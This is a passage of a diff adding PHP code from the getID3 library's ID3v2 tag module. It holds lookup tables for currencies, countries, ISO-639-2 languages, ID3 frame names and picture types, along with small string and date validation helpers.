__LINE__; + + /** This is not a comment! + + + AED Dirhams + AFA Afghanis + ALL Leke + AMD Drams + ANG Guilders + AOA Kwanza + ARS Pesos + ATS Schillings + AUD Dollars + AWG Guilders + AZM Manats + BAM Convertible Marka + BBD Dollars + BDT Taka + BEF Francs + BGL Leva + BHD Dinars + BIF Francs + BMD Dollars + BND Dollars + BOB Bolivianos + BRL Brazil Real + BSD Dollars + BTN Ngultrum + BWP Pulas + BYR Rubles + BZD Dollars + CAD Dollars + CDF Congolese Francs + CHF Francs + CLP Pesos + CNY Yuan Renminbi + COP Pesos + CRC Colones + CUP Pesos + CVE Escudos + CYP Pounds + CZK Koruny + DEM Deutsche Marks + DJF Francs + DKK Kroner + DOP Pesos + DZD Algeria Dinars + EEK Krooni + EGP Pounds + ERN Nakfa + ESP Pesetas + ETB Birr + EUR Euro + FIM Markkaa + FJD Dollars + FKP Pounds + FRF Francs + GBP Pounds + GEL Lari + GGP Pounds + GHC Cedis + GIP Pounds + GMD Dalasi + GNF Francs + GRD Drachmae + GTQ Quetzales + GYD Dollars + HKD Dollars + HNL Lempiras + HRK Kuna + HTG Gourdes + HUF Forints + IDR Rupiahs + IEP Pounds + ILS New Shekels + IMP Pounds + INR Rupees + IQD Dinars + IRR Rials + ISK Kronur + ITL Lire + JEP Pounds + JMD Dollars + JOD Dinars + JPY Yen + KES Shillings + KGS Soms + KHR Riels + KMF Francs + KPW Won + KWD Dinars + KYD Dollars + KZT Tenge + LAK Kips + LBP Pounds + LKR Rupees + LRD Dollars + LSL Maloti + LTL Litai + LUF Francs + LVL Lati + LYD Dinars + MAD Dirhams + MDL Lei + MGF Malagasy Francs + MKD Denars + MMK Kyats + MNT Tugriks + MOP Patacas + MRO Ouguiyas + MTL Liri + MUR Rupees + MVR Rufiyaa + MWK Kwachas + MXN Pesos + MYR Ringgits + MZM Meticais + NAD Dollars + NGN Nairas + NIO Gold Cordobas + NLG Guilders + NOK Krone + NPR Nepal Rupees + NZD Dollars + OMR Rials + PAB Balboa + PEN Nuevos Soles + PGK Kina + PHP Pesos + PKR Rupees + PLN Zlotych + PTE Escudos + PYG Guarani + QAR Rials + ROL Lei + RUR Rubles + RWF Rwanda Francs + SAR Riyals + SBD Dollars + SCR Rupees + SDD Dinars + SEK Kronor + SGD Dollars + SHP Pounds + SIT Tolars + SKK Koruny + SLL Leones + SOS Shillings + SPL Luigini + SRG Guilders + STD Dobras + SVC Colones + SYP Pounds + SZL Emalangeni + THB Baht + TJR Rubles + TMM Manats + TND Dinars + TOP Pa'anga + TRL Liras (old) + TRY Liras + TTD Dollars + TVD Tuvalu Dollars + TWD New Dollars + TZS Shillings + UAH Hryvnia + UGX Shillings + USD Dollars + UYU Pesos + UZS Sums + VAL Lire + VEB Bolivares + VND Dong + VUV Vatu + WST Tala + XAF Francs + XAG Ounces + XAU Ounces + XCD Dollars + XDR Special Drawing Rights + XPD Ounces + XPF Francs + XPT Ounces + YER Rials + YUM New Dinars + ZAR Rand + ZMK Kwacha + ZWD Zimbabwe Dollars + + */ + + return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-units'); + } + + /** + * @param string $currencyid + * + * @return string + */ + public function LookupCurrencyCountry($currencyid) { + + $begin = __LINE__; + + /** This is not a comment! + + AED United Arab Emirates + AFA Afghanistan + ALL Albania + AMD Armenia + ANG Netherlands Antilles + AOA Angola + ARS Argentina + ATS Austria + AUD Australia + AWG Aruba + AZM Azerbaijan + BAM Bosnia and Herzegovina + BBD Barbados + BDT Bangladesh + BEF Belgium + BGL Bulgaria + BHD Bahrain + BIF Burundi + BMD Bermuda + BND Brunei Darussalam + BOB Bolivia + BRL Brazil + BSD Bahamas + BTN Bhutan + BWP Botswana + BYR Belarus + BZD Belize + CAD Canada + CDF Congo/Kinshasa + CHF Switzerland + CLP Chile + CNY China + COP Colombia + CRC Costa Rica + CUP Cuba + CVE Cape Verde + CYP Cyprus + CZK Czech Republic + DEM Germany + DJF Djibouti + DKK Denmark + DOP Dominican Republic + DZD Algeria + EEK Estonia + EGP Egypt + ERN Eritrea + ESP Spain + ETB Ethiopia + EUR Euro Member Countries + FIM Finland + FJD Fiji + FKP Falkland Islands (Malvinas) + FRF France + GBP United Kingdom + GEL Georgia + GGP Guernsey + GHC Ghana + GIP Gibraltar + GMD Gambia + GNF Guinea + GRD Greece + GTQ Guatemala + GYD Guyana + HKD Hong Kong + HNL Honduras + HRK Croatia + HTG Haiti + HUF Hungary + IDR Indonesia + IEP Ireland (Eire) + ILS Israel + IMP Isle of Man + INR India + IQD Iraq + IRR Iran + ISK Iceland + ITL Italy + JEP Jersey + JMD Jamaica + JOD Jordan + JPY Japan + KES Kenya + KGS Kyrgyzstan + KHR Cambodia + KMF Comoros + KPW Korea + KWD Kuwait + KYD Cayman Islands + KZT Kazakstan + LAK Laos + LBP Lebanon + LKR Sri Lanka + LRD Liberia + LSL Lesotho + LTL Lithuania + LUF Luxembourg + LVL Latvia + LYD Libya + MAD Morocco + MDL Moldova + MGF Madagascar + MKD Macedonia + MMK Myanmar (Burma) + MNT Mongolia + MOP Macau + MRO Mauritania + MTL Malta + MUR Mauritius + MVR Maldives (Maldive Islands) + MWK Malawi + MXN Mexico + MYR Malaysia + MZM Mozambique + NAD Namibia + NGN Nigeria + NIO Nicaragua + NLG Netherlands (Holland) + NOK Norway + NPR Nepal + NZD New Zealand + OMR Oman + PAB Panama + PEN Peru + PGK Papua New Guinea + PHP Philippines + PKR Pakistan + PLN Poland + PTE Portugal + PYG Paraguay + QAR Qatar + ROL Romania + RUR Russia + RWF Rwanda + SAR Saudi Arabia + SBD Solomon Islands + SCR Seychelles + SDD Sudan + SEK Sweden + SGD Singapore + SHP Saint Helena + SIT Slovenia + SKK Slovakia + SLL Sierra Leone + SOS Somalia + SPL Seborga + SRG Suriname + STD São Tome and Principe + SVC El Salvador + SYP Syria + SZL Swaziland + THB Thailand + TJR Tajikistan + TMM Turkmenistan + TND Tunisia + TOP Tonga + TRL Turkey + TRY Turkey + TTD Trinidad and Tobago + TVD Tuvalu + TWD Taiwan + TZS Tanzania + UAH Ukraine + UGX Uganda + USD United States of America + UYU Uruguay + UZS Uzbekistan + VAL Vatican City + VEB Venezuela + VND Viet Nam + VUV Vanuatu + WST Samoa + XAF Communauté Financière Africaine + XAG Silver + XAU Gold + XCD East Caribbean + XDR International Monetary Fund + XPD Palladium + XPF Comptoirs Français du Pacifique + XPT Platinum + YER Yemen + YUM Yugoslavia + ZAR South Africa + ZMK Zambia + ZWD Zimbabwe + + */ + + return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-country'); + } + + /** + * @param string $languagecode + * @param bool $casesensitive + * + * @return string + */ + public static function LanguageLookup($languagecode, $casesensitive=false) { + + if (!$casesensitive) { + $languagecode = strtolower($languagecode); + } + + // http://www.id3.org/id3v2.4.0-structure.txt + // [4. ID3v2 frame overview] + // The three byte language field, present in several frames, is used to + // describe the language of the frame's content, according to ISO-639-2 + // [ISO-639-2]. The language should be represented in lower case. If the + // language is not known the string "XXX" should be used. + + + // ISO 639-2 - http://www.id3.org/iso639-2.html + + $begin = __LINE__; + + /** This is not a comment! + + XXX unknown + xxx unknown + aar Afar + abk Abkhazian + ace Achinese + ach Acoli + ada Adangme + afa Afro-Asiatic (Other) + afh Afrihili + afr Afrikaans + aka Akan + akk Akkadian + alb Albanian + ale Aleut + alg Algonquian Languages + amh Amharic + ang English, Old (ca. 450-1100) + apa Apache Languages + ara Arabic + arc Aramaic + arm Armenian + arn Araucanian + arp Arapaho + art Artificial (Other) + arw Arawak + asm Assamese + ath Athapascan Languages + ava Avaric + ave Avestan + awa Awadhi + aym Aymara + aze Azerbaijani + bad Banda + bai Bamileke Languages + bak Bashkir + bal Baluchi + bam Bambara + ban Balinese + baq Basque + bas Basa + bat Baltic (Other) + bej Beja + bel Byelorussian + bem Bemba + ben Bengali + ber Berber (Other) + bho Bhojpuri + bih Bihari + bik Bikol + bin Bini + bis Bislama + bla Siksika + bnt Bantu (Other) + bod Tibetan + bra Braj + bre Breton + bua Buriat + bug Buginese + bul Bulgarian + bur Burmese + cad Caddo + cai Central American Indian (Other) + car Carib + cat Catalan + cau Caucasian (Other) + ceb Cebuano + cel Celtic (Other) + ces Czech + cha Chamorro + chb Chibcha + che Chechen + chg Chagatai + chi Chinese + chm Mari + chn Chinook jargon + cho Choctaw + chr Cherokee + chu Church Slavic + chv Chuvash + chy Cheyenne + cop Coptic + cor Cornish + cos Corsican + cpe Creoles and Pidgins, English-based (Other) + cpf Creoles and Pidgins, French-based (Other) + cpp Creoles and Pidgins, Portuguese-based (Other) + cre Cree + crp Creoles and Pidgins (Other) + cus Cushitic (Other) + cym Welsh + cze Czech + dak Dakota + dan Danish + del Delaware + deu German + din Dinka + div Divehi + doi Dogri + dra Dravidian (Other) + dua Duala + dum Dutch, Middle (ca. 1050-1350) + dut Dutch + dyu Dyula + dzo Dzongkha + efi Efik + egy Egyptian (Ancient) + eka Ekajuk + ell Greek, Modern (1453-) + elx Elamite + eng English + enm English, Middle (ca. 1100-1500) + epo Esperanto + esk Eskimo (Other) + esl Spanish + est Estonian + eus Basque + ewe Ewe + ewo Ewondo + fan Fang + fao Faroese + fas Persian + fat Fanti + fij Fijian + fin Finnish + fiu Finno-Ugrian (Other) + fon Fon + fra French + fre French + frm French, Middle (ca. 1400-1600) + fro French, Old (842- ca. 1400) + fry Frisian + ful Fulah + gaa Ga + gae Gaelic (Scots) + gai Irish + gay Gayo + gdh Gaelic (Scots) + gem Germanic (Other) + geo Georgian + ger German + gez Geez + gil Gilbertese + glg Gallegan + gmh German, Middle High (ca. 1050-1500) + goh German, Old High (ca. 750-1050) + gon Gondi + got Gothic + grb Grebo + grc Greek, Ancient (to 1453) + gre Greek, Modern (1453-) + grn Guarani + guj Gujarati + hai Haida + hau Hausa + haw Hawaiian + heb Hebrew + her Herero + hil Hiligaynon + him Himachali + hin Hindi + hmo Hiri Motu + hun Hungarian + hup Hupa + hye Armenian + iba Iban + ibo Igbo + ice Icelandic + ijo Ijo + iku Inuktitut + ilo Iloko + ina Interlingua (International Auxiliary language Association) + inc Indic (Other) + ind Indonesian + ine Indo-European (Other) + ine Interlingue + ipk Inupiak + ira Iranian (Other) + iri Irish + iro Iroquoian uages + isl Icelandic + ita Italian + jav Javanese + jaw Javanese + jpn Japanese + jpr Judeo-Persian + jrb Judeo-Arabic + kaa Kara-Kalpak + kab Kabyle + kac Kachin + kal Greenlandic + kam Kamba + kan Kannada + kar Karen + kas Kashmiri + kat Georgian + kau Kanuri + kaw Kawi + kaz Kazakh + kha Khasi + khi Khoisan (Other) + khm Khmer + kho Khotanese + kik Kikuyu + kin Kinyarwanda + kir Kirghiz + kok Konkani + kom Komi + kon Kongo + kor Korean + kpe Kpelle + kro Kru + kru Kurukh + kua Kuanyama + kum Kumyk + kur Kurdish + kus Kusaie + kut Kutenai + lad Ladino + lah Lahnda + lam Lamba + lao Lao + lat Latin + lav Latvian + lez Lezghian + lin Lingala + lit Lithuanian + lol Mongo + loz Lozi + ltz Letzeburgesch + lub Luba-Katanga + lug Ganda + lui Luiseno + lun Lunda + luo Luo (Kenya and Tanzania) + mac Macedonian + mad Madurese + mag Magahi + mah Marshall + mai Maithili + mak Macedonian + mak Makasar + mal Malayalam + man Mandingo + mao Maori + map Austronesian (Other) + mar Marathi + mas Masai + max Manx + may Malay + men Mende + mga Irish, Middle (900 - 1200) + mic Micmac + min Minangkabau + mis Miscellaneous (Other) + mkh Mon-Kmer (Other) + mlg Malagasy + mlt Maltese + mni Manipuri + mno Manobo Languages + moh Mohawk + mol Moldavian + mon Mongolian + mos Mossi + mri Maori + msa Malay + mul Multiple Languages + mun Munda Languages + mus Creek + mwr Marwari + mya Burmese + myn Mayan Languages + nah Aztec + nai North American Indian (Other) + nau Nauru + nav Navajo + nbl Ndebele, South + nde Ndebele, North + ndo Ndongo + nep Nepali + new Newari + nic Niger-Kordofanian (Other) + niu Niuean + nla Dutch + nno Norwegian (Nynorsk) + non Norse, Old + nor Norwegian + nso Sotho, Northern + nub Nubian Languages + nya Nyanja + nym Nyamwezi + nyn Nyankole + nyo Nyoro + nzi Nzima + oci Langue d'Oc (post 1500) + oji Ojibwa + ori Oriya + orm Oromo + osa Osage + oss Ossetic + ota Turkish, Ottoman (1500 - 1928) + oto Otomian Languages + paa Papuan-Australian (Other) + pag Pangasinan + pal Pahlavi + pam Pampanga + pan Panjabi + pap Papiamento + pau Palauan + peo Persian, Old (ca 600 - 400 B.C.) + per Persian + phn Phoenician + pli Pali + pol Polish + pon Ponape + por Portuguese + pra Prakrit uages + pro Provencal, Old (to 1500) + pus Pushto + que Quechua + raj Rajasthani + rar Rarotongan + roa Romance (Other) + roh Rhaeto-Romance + rom Romany + ron Romanian + rum Romanian + run Rundi + rus Russian + sad Sandawe + sag Sango + sah Yakut + sai South American Indian (Other) + sal Salishan Languages + sam Samaritan Aramaic + san Sanskrit + sco Scots + scr Serbo-Croatian + sel Selkup + sem Semitic (Other) + sga Irish, Old (to 900) + shn Shan + sid Sidamo + sin Singhalese + sio Siouan Languages + sit Sino-Tibetan (Other) + sla Slavic (Other) + slk Slovak + slo Slovak + slv Slovenian + smi Sami Languages + smo Samoan + sna Shona + snd Sindhi + sog Sogdian + som Somali + son Songhai + sot Sotho, Southern + spa Spanish + sqi Albanian + srd Sardinian + srr Serer + ssa Nilo-Saharan (Other) + ssw Siswant + ssw Swazi + suk Sukuma + sun Sudanese + sus Susu + sux Sumerian + sve Swedish + swa Swahili + swe Swedish + syr Syriac + tah Tahitian + tam Tamil + tat Tatar + tel Telugu + tem Timne + ter Tereno + tgk Tajik + tgl Tagalog + tha Thai + tib Tibetan + tig Tigre + tir Tigrinya + tiv Tivi + tli Tlingit + tmh Tamashek + tog Tonga (Nyasa) + ton Tonga (Tonga Islands) + tru Truk + tsi Tsimshian + tsn Tswana + tso Tsonga + tuk Turkmen + tum Tumbuka + tur Turkish + tut Altaic (Other) + twi Twi + tyv Tuvinian + uga Ugaritic + uig Uighur + ukr Ukrainian + umb Umbundu + und Undetermined + urd Urdu + uzb Uzbek + vai Vai + ven Venda + vie Vietnamese + vol Volapük + vot Votic + wak Wakashan Languages + wal Walamo + war Waray + was Washo + wel Welsh + wen Sorbian Languages + wol Wolof + xho Xhosa + yao Yao + yap Yap + yid Yiddish + yor Yoruba + zap Zapotec + zen Zenaga + zha Zhuang + zho Chinese + zul Zulu + zun Zuni + + */ + + return getid3_lib::EmbeddedLookup($languagecode, $begin, __LINE__, __FILE__, 'id3v2-languagecode'); + } + + /** + * @param int $index + * + * @return string + */ + public static function ETCOEventLookup($index) { + if (($index >= 0x17) && ($index <= 0xDF)) { + return 'reserved for future use'; + } + if (($index >= 0xE0) && ($index <= 0xEF)) { + return 'not predefined synch 0-F'; + } + if (($index >= 0xF0) && ($index <= 0xFC)) { + return 'reserved for future use'; + } + + static $EventLookup = array( + 0x00 => 'padding (has no meaning)', + 0x01 => 'end of initial silence', + 0x02 => 'intro start', + 0x03 => 'main part start', + 0x04 => 'outro start', + 0x05 => 'outro end', + 0x06 => 'verse start', + 0x07 => 'refrain start', + 0x08 => 'interlude start', + 0x09 => 'theme start', + 0x0A => 'variation start', + 0x0B => 'key change', + 0x0C => 'time change', + 0x0D => 'momentary unwanted noise (Snap, Crackle & Pop)', + 0x0E => 'sustained noise', + 0x0F => 'sustained noise end', + 0x10 => 'intro end', + 0x11 => 'main part end', + 0x12 => 'verse end', + 0x13 => 'refrain end', + 0x14 => 'theme end', + 0x15 => 'profanity', + 0x16 => 'profanity end', + 0xFD => 'audio end (start of silence)', + 0xFE => 'audio file ends', + 0xFF => 'one more byte of events follows' + ); + + return (isset($EventLookup[$index]) ? $EventLookup[$index] : ''); + } + + /** + * @param int $index + * + * @return string + */ + public static function SYTLContentTypeLookup($index) { + static $SYTLContentTypeLookup = array( + 0x00 => 'other', + 0x01 => 'lyrics', + 0x02 => 'text transcription', + 0x03 => 'movement/part name', // (e.g. 'Adagio') + 0x04 => 'events', // (e.g. 'Don Quijote enters the stage') + 0x05 => 'chord', // (e.g. 'Bb F Fsus') + 0x06 => 'trivia/\'pop up\' information', + 0x07 => 'URLs to webpages', + 0x08 => 'URLs to images' + ); + + return (isset($SYTLContentTypeLookup[$index]) ? $SYTLContentTypeLookup[$index] : ''); + } + + /** + * @param int $index + * @param bool $returnarray + * + * @return array|string + */ + public static function APICPictureTypeLookup($index, $returnarray=false) { + static $APICPictureTypeLookup = array( + 0x00 => 'Other', + 0x01 => '32x32 pixels \'file icon\' (PNG only)', + 0x02 => 'Other file icon', + 0x03 => 'Cover (front)', + 0x04 => 'Cover (back)', + 0x05 => 'Leaflet page', + 0x06 => 'Media (e.g. label side of CD)', + 0x07 => 'Lead artist/lead performer/soloist', + 0x08 => 'Artist/performer', + 0x09 => 'Conductor', + 0x0A => 'Band/Orchestra', + 0x0B => 'Composer', + 0x0C => 'Lyricist/text writer', + 0x0D => 'Recording Location', + 0x0E => 'During recording', + 0x0F => 'During performance', + 0x10 => 'Movie/video screen capture', + 0x11 => 'A bright coloured fish', + 0x12 => 'Illustration', + 0x13 => 'Band/artist logotype', + 0x14 => 'Publisher/Studio logotype' + ); + if ($returnarray) { + return $APICPictureTypeLookup; + } + return (isset($APICPictureTypeLookup[$index]) ? $APICPictureTypeLookup[$index] : ''); + } + + /** + * @param int $index + * + * @return string + */ + public static function COMRReceivedAsLookup($index) { + static $COMRReceivedAsLookup = array( + 0x00 => 'Other', + 0x01 => 'Standard CD album with other songs', + 0x02 => 'Compressed audio on CD', + 0x03 => 'File over the Internet', + 0x04 => 'Stream over the Internet', + 0x05 => 'As note sheets', + 0x06 => 'As note sheets in a book with other sheets', + 0x07 => 'Music on other media', + 0x08 => 'Non-musical merchandise' + ); + + return (isset($COMRReceivedAsLookup[$index]) ? $COMRReceivedAsLookup[$index] : ''); + } + + /** + * @param int $index + * + * @return string + */ + public static function RVA2ChannelTypeLookup($index) { + static $RVA2ChannelTypeLookup = array( + 0x00 => 'Other', + 0x01 => 'Master volume', + 0x02 => 'Front right', + 0x03 => 'Front left', + 0x04 => 'Back right', + 0x05 => 'Back left', + 0x06 => 'Front centre', + 0x07 => 'Back centre', + 0x08 => 'Subwoofer' + ); + + return (isset($RVA2ChannelTypeLookup[$index]) ? $RVA2ChannelTypeLookup[$index] : ''); + } + + /** + * @param string $framename + * + * @return string + */ + public static function FrameNameLongLookup($framename) { + + $begin = __LINE__; + + /** This is not a comment! + + AENC Audio encryption + APIC Attached picture + ASPI Audio seek point index + BUF Recommended buffer size + CNT Play counter + COM Comments + COMM Comments + COMR Commercial frame + CRA Audio encryption + CRM Encrypted meta frame + ENCR Encryption method registration + EQU Equalisation + EQU2 Equalisation (2) + EQUA Equalisation + ETC Event timing codes + ETCO Event timing codes + GEO General encapsulated object + GEOB General encapsulated object + GRID Group identification registration + IPL Involved people list + IPLS Involved people list + LINK Linked information + LNK Linked information + MCDI Music CD identifier + MCI Music CD Identifier + MLL MPEG location lookup table + MLLT MPEG location lookup table + OWNE Ownership frame + PCNT Play counter + PIC Attached picture + POP Popularimeter + POPM Popularimeter + POSS Position synchronisation frame + PRIV Private frame + RBUF Recommended buffer size + REV Reverb + RVA Relative volume adjustment + RVA2 Relative volume adjustment (2) + RVAD Relative volume adjustment + RVRB Reverb + SEEK Seek frame + SIGN Signature frame + SLT Synchronised lyric/text + STC Synced tempo codes + SYLT Synchronised lyric/text + SYTC Synchronised tempo codes + TAL Album/Movie/Show title + TALB Album/Movie/Show title + TBP BPM (Beats Per Minute) + TBPM BPM (beats per minute) + TCM Composer + TCMP Part of a compilation + TCO Content type + TCOM Composer + TCON Content type + TCOP Copyright message + TCP Part of a compilation + TCR Copyright message + TDA Date + TDAT Date + TDEN Encoding time + TDLY Playlist delay + TDOR Original release time + TDRC Recording time + TDRL Release time + TDTG Tagging time + TDY Playlist delay + TEN Encoded by + TENC Encoded by + TEXT Lyricist/Text writer + TFLT File type + TFT File type + TIM Time + TIME Time + TIPL Involved people list + TIT1 Content group description + TIT2 Title/songname/content description + TIT3 Subtitle/Description refinement + TKE Initial key + TKEY Initial key + TLA Language(s) + TLAN Language(s) + TLE Length + TLEN Length + TMCL Musician credits list + TMED Media type + TMOO Mood + TMT Media type + TOA Original artist(s)/performer(s) + TOAL Original album/movie/show title + TOF Original filename + TOFN Original filename + TOL Original Lyricist(s)/text writer(s) + TOLY Original lyricist(s)/text writer(s) + TOPE Original artist(s)/performer(s) + TOR Original release year + TORY Original release year + TOT Original album/Movie/Show title + TOWN File owner/licensee + TP1 Lead artist(s)/Lead performer(s)/Soloist(s)/Performing group + TP2 Band/Orchestra/Accompaniment + TP3 Conductor/Performer refinement + TP4 Interpreted, remixed, or otherwise modified by + TPA Part of a set + TPB Publisher + TPE1 Lead performer(s)/Soloist(s) + TPE2 Band/orchestra/accompaniment + TPE3 Conductor/performer refinement + TPE4 Interpreted, remixed, or otherwise modified by + TPOS Part of a set + TPRO Produced notice + TPUB Publisher + TRC ISRC (International Standard Recording Code) + TRCK Track number/Position in set + TRD Recording dates + TRDA Recording dates + TRK Track number/Position in set + TRSN Internet radio station name + TRSO Internet radio station owner + TS2 Album-Artist sort order + TSA Album sort order + TSC Composer sort order + TSI Size + TSIZ Size + TSO2 Album-Artist sort order + TSOA Album sort order + TSOC Composer sort order + TSOP Performer sort order + TSOT Title sort order + TSP Performer sort order + TSRC ISRC (international standard recording code) + TSS Software/hardware and settings used for encoding + TSSE Software/Hardware and settings used for encoding + TSST Set subtitle + TST Title sort order + TT1 Content group description + TT2 Title/Songname/Content description + TT3 Subtitle/Description refinement + TXT Lyricist/text writer + TXX User defined text information frame + TXXX User defined text information frame + TYE Year + TYER Year + UFI Unique file identifier + UFID Unique file identifier + ULT Unsynchronised lyric/text transcription + USER Terms of use + USLT Unsynchronised lyric/text transcription + WAF Official audio file webpage + WAR Official artist/performer webpage + WAS Official audio source webpage + WCM Commercial information + WCOM Commercial information + WCOP Copyright/Legal information + WCP Copyright/Legal information + WOAF Official audio file webpage + WOAR Official artist/performer webpage + WOAS Official audio source webpage + WORS Official Internet radio station homepage + WPAY Payment + WPB Publishers official webpage + WPUB Publishers official webpage + WXX User defined URL link frame + WXXX User defined URL link frame + TFEA Featured Artist + TSTU Recording Studio + rgad Replay Gain Adjustment + + */ + + return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_long'); + + // Last three: + // from Helium2 [www.helium2.com] + // from http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html + } + + /** + * @param string $framename + * + * @return string + */ + public static function FrameNameShortLookup($framename) { + + $begin = __LINE__; + + /** This is not a comment! + + AENC audio_encryption + APIC attached_picture + ASPI audio_seek_point_index + BUF recommended_buffer_size + CNT play_counter + COM comment + COMM comment + COMR commercial_frame + CRA audio_encryption + CRM encrypted_meta_frame + ENCR encryption_method_registration + EQU equalisation + EQU2 equalisation + EQUA equalisation + ETC event_timing_codes + ETCO event_timing_codes + GEO general_encapsulated_object + GEOB general_encapsulated_object + GRID group_identification_registration + IPL involved_people_list + IPLS involved_people_list + LINK linked_information + LNK linked_information + MCDI music_cd_identifier + MCI music_cd_identifier + MLL mpeg_location_lookup_table + MLLT mpeg_location_lookup_table + OWNE ownership_frame + PCNT play_counter + PIC attached_picture + POP popularimeter + POPM popularimeter + POSS position_synchronisation_frame + PRIV private_frame + RBUF recommended_buffer_size + REV reverb + RVA relative_volume_adjustment + RVA2 relative_volume_adjustment + RVAD relative_volume_adjustment + RVRB reverb + SEEK seek_frame + SIGN signature_frame + SLT synchronised_lyric + STC synced_tempo_codes + SYLT synchronised_lyric + SYTC synchronised_tempo_codes + TAL album + TALB album + TBP bpm + TBPM bpm + TCM composer + TCMP part_of_a_compilation + TCO genre + TCOM composer + TCON genre + TCOP copyright_message + TCP part_of_a_compilation + TCR copyright_message + TDA date + TDAT date + TDEN encoding_time + TDLY playlist_delay + TDOR original_release_time + TDRC recording_time + TDRL release_time + TDTG tagging_time + TDY playlist_delay + TEN encoded_by + TENC encoded_by + TEXT lyricist + TFLT file_type + TFT file_type + TIM time + TIME time + TIPL involved_people_list + TIT1 content_group_description + TIT2 title + TIT3 subtitle + TKE initial_key + TKEY initial_key + TLA language + TLAN language + TLE length + TLEN length + TMCL musician_credits_list + TMED media_type + TMOO mood + TMT media_type + TOA original_artist + TOAL original_album + TOF original_filename + TOFN original_filename + TOL original_lyricist + TOLY original_lyricist + TOPE original_artist + TOR original_year + TORY original_year + TOT original_album + TOWN file_owner + TP1 artist + TP2 band + TP3 conductor + TP4 remixer + TPA part_of_a_set + TPB publisher + TPE1 artist + TPE2 band + TPE3 conductor + TPE4 remixer + TPOS part_of_a_set + TPRO produced_notice + TPUB publisher + TRC isrc + TRCK track_number + TRD recording_dates + TRDA recording_dates + TRK track_number + TRSN internet_radio_station_name + TRSO internet_radio_station_owner + TS2 album_artist_sort_order + TSA album_sort_order + TSC composer_sort_order + TSI size + TSIZ size + TSO2 album_artist_sort_order + TSOA album_sort_order + TSOC composer_sort_order + TSOP performer_sort_order + TSOT title_sort_order + TSP performer_sort_order + TSRC isrc + TSS encoder_settings + TSSE encoder_settings + TSST set_subtitle + TST title_sort_order + TT1 content_group_description + TT2 title + TT3 subtitle + TXT lyricist + TXX text + TXXX text + TYE year + TYER year + UFI unique_file_identifier + UFID unique_file_identifier + ULT unsynchronised_lyric + USER terms_of_use + USLT unsynchronised_lyric + WAF url_file + WAR url_artist + WAS url_source + WCM commercial_information + WCOM commercial_information + WCOP copyright + WCP copyright + WOAF url_file + WOAR url_artist + WOAS url_source + WORS url_station + WPAY url_payment + WPB url_publisher + WPUB url_publisher + WXX url_user + WXXX url_user + TFEA featured_artist + TSTU recording_studio + rgad replay_gain_adjustment + + */ + + return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_short'); + } + + /** + * @param string $encoding + * + * @return string + */ + public static function TextEncodingTerminatorLookup($encoding) { + // http://www.id3.org/id3v2.4.0-structure.txt + // Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings: + static $TextEncodingTerminatorLookup = array( + 0 => "\x00", // $00 ISO-8859-1. Terminated with $00. + 1 => "\x00\x00", // $01 UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00. + 2 => "\x00\x00", // $02 UTF-16BE encoded Unicode without BOM. Terminated with $00 00. + 3 => "\x00", // $03 UTF-8 encoded Unicode. Terminated with $00. + 255 => "\x00\x00" + ); + return (isset($TextEncodingTerminatorLookup[$encoding]) ? $TextEncodingTerminatorLookup[$encoding] : "\x00"); + } + + /** + * @param int $encoding + * + * @return string + */ + public static function TextEncodingNameLookup($encoding) { + // http://www.id3.org/id3v2.4.0-structure.txt + // Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings: + static $TextEncodingNameLookup = array( + 0 => 'ISO-8859-1', // $00 ISO-8859-1. Terminated with $00. + 1 => 'UTF-16', // $01 UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00. + 2 => 'UTF-16BE', // $02 UTF-16BE encoded Unicode without BOM. Terminated with $00 00. + 3 => 'UTF-8', // $03 UTF-8 encoded Unicode. Terminated with $00. + 255 => 'UTF-16BE' + ); + return (isset($TextEncodingNameLookup[$encoding]) ? $TextEncodingNameLookup[$encoding] : 'ISO-8859-1'); + } + + /** + * @param string $string + * @param string $terminator + * + * @return string + */ + public static function RemoveStringTerminator($string, $terminator) { + // Null terminator at end of comment string is somewhat ambiguous in the specification, may or may not be implemented by various taggers. Remove terminator only if present. + // https://github.com/JamesHeinrich/getID3/issues/121 + // https://community.mp3tag.de/t/x-trailing-nulls-in-id3v2-comments/19227 + if (substr($string, -strlen($terminator), strlen($terminator)) === $terminator) { + $string = substr($string, 0, -strlen($terminator)); + } + return $string; + } + + /** + * @param string $string + * + * @return string + */ + public static function MakeUTF16emptyStringEmpty($string) { + if (in_array($string, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) { + // if string only contains a BOM or terminator then make it actually an empty string + $string = ''; + } + return $string; + } + + /** + * @param string $framename + * @param int $id3v2majorversion + * + * @return bool|int + */ + public static function IsValidID3v2FrameName($framename, $id3v2majorversion) { + switch ($id3v2majorversion) { + case 2: + return preg_match('#[A-Z][A-Z0-9]{2}#', $framename); + + case 3: + case 4: + return preg_match('#[A-Z][A-Z0-9]{3}#', $framename); + } + return false; + } + + /** + * @param string $numberstring + * @param bool $allowdecimal + * @param bool $allownegative + * + * @return bool + */ + public static function IsANumber($numberstring, $allowdecimal=false, $allownegative=false) { + for ($i = 0; $i < strlen($numberstring); $i++) { + if ((chr($numberstring[$i]) < chr('0')) || (chr($numberstring[$i]) > chr('9'))) { + if (($numberstring[$i] == '.') && $allowdecimal) { + // allowed + } elseif (($numberstring[$i] == '-') && $allownegative && ($i == 0)) { + // allowed + } else { + return false; + } + } + } + return true; + } + + /** + * @param string $datestamp + * + * @return bool + */ + public static function IsValidDateStampString($datestamp) { + if (strlen($datestamp) != 8) { + return false; + } + if (!self::IsANumber($datestamp, false)) { + return false; + } + $year = substr($datestamp, 0, 4); + $month = substr($datestamp, 4, 2); + $day = substr($datestamp, 6, 2); + if (($year == 0) || ($month == 0) || ($day == 0)) { + return false; + } + if ($month > 12) { + return false; + } + if ($day > 31) { + return false; + } + if (($day > 30) && (($month == 4) || ($month == 6) || ($month == 9) || ($month == 11))) { + return false; + } + if (($day > 29) && ($month == 2)) { + return false; + } + return true; + } + + /** + * @param int $majorversion + * + * @return int + */ + public static function 